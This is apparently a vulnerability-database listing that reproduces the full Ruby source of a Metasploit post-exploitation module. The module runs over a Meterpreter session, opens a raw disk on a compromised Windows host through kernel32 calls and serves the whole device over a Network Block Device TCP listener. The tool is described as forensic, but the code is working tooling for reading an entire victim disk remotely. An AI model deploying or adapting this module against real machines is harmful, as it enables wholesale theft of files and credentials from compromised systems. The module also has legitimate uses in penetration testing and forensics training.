Lucene search
K

Windows Gather Local NBD Server

🗓️ 28 Aug 2011 22:38:59Reported by Wesley McGrew <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

Maps remote disks and logical volumes to a local Network Block Device server. Allows for forensic tools to be executed on the remote disk directly

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# nbd_server.rb
#
# Maps remote disks and logical volumes to a local Network Block Device
# server. Allows for forensic tools to be executed on the remote disk
# directly.
#
# R. Wesley McGrew [email protected]
#    http://mcgrewsecurity.com
# Mississippi State University National Forensics Training Center
#    http://msu-nftc.org

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Local NBD Server',
        'Description' => %q{
          Maps remote disks and logical volumes to a local Network Block Device server.
          Allows for forensic tools to be executed on the remote disk directly.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
            ]
          }
        }
      )
    )
    register_options(
      [
        OptString.new('DEVICE', [true, 'Device to map (use enum_drives for possible names)', nil]),
        OptString.new('NBDIP', [false, 'IP address for NBD server', '0.0.0.0']),
        OptInt.new('NBDPORT', [false, 'TCP port for NBD server', 10005]),
      ]
    )
  end

  def run
    ip_addr = datastore['NBDIP']
    port = datastore['NBDPORT']
    devname = datastore['DEVICE']

    invalid_handle_value = 0xFFFFFFFF
    invalid_set_file_pointer = 0xFFFFFFFF
    fsctl_allow_extended_dasd_io = 0x00090083
    ioctl_disk_get_drive_geometry_ex = 0x000700A0

    r = client.railgun.kernel32.CreateFileA(devname, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
    handle = r['return']

    r = client.railgun.kernel32.DeviceIoControl(handle, fsctl_allow_extended_dasd_io, nil, 0, 0, 0, 4, nil)
    ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex, '', 0, 200, 200, 4, '')

    if ioctl['GetLastError'] == 6
      ioctl = client.railgun.kernel32.DeviceIoControl(handle, ioctl_disk_get_drive_geometry_ex, '', 0, 200, 200, 4, '')
    end

    geometry = ioctl['lpOutBuffer']
    disk_size = geometry[24, 31].unpack('Q')[0]

    socket = Rex::Socket::TcpServer.create({ 'LocalHost' => ip_addr, 'LocalPort' => port })
    print_line("Listening on #{ip_addr}:#{port}")
    print_line("Serving #{devname} (#{disk_size} bytes)")
    rsock = socket.accept
    print_line('Accepted a connection')

    # Negotiation
    rsock.put('NBDMAGIC')
    rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")

    rsock.put([disk_size].pack('Q').reverse)
    rsock.put("\x00\x00\x00\x03")  # Read-only
    rsock.put("\x00" * 124)
    print_line('Sent negotiation')

    loop do
      request = rsock.read(28)

      unless request
        print_error('No data received')
        break
      end

      magic, request, nbd_handle, offset_n, length = request.unpack('NNa8a8N')

      if magic != 0x25609513
        print_line('Wrong magic number')
        break
      end

      case request
      when 2
        break
      when 1
        print_line('Attempted write on a read-only nbd')
        break
      when 0
        client.railgun.kernel32.SetFilePointer(handle, offset_n[4, 7].unpack('N')[0], offset_n[0, 4].unpack('N')[0], 0)
        rsock.put("gDf\x98\x00\x00\x00\x00")
        rsock.put(nbd_handle)
        data = client.railgun.kernel32.ReadFile(handle, length, length, 4, nil)['lpBuffer']
        rsock.put(data)
      end
    end

    print_line('Closing')
    rsock.close
    socket.close

    client.railgun.kernel32.CloseHandle(handle)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation